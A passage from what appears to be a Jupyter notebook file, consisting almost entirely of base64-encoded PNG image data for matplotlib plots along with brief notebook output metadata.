1tt1I4tipNX/PZ1/26\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c22bdfe80>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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\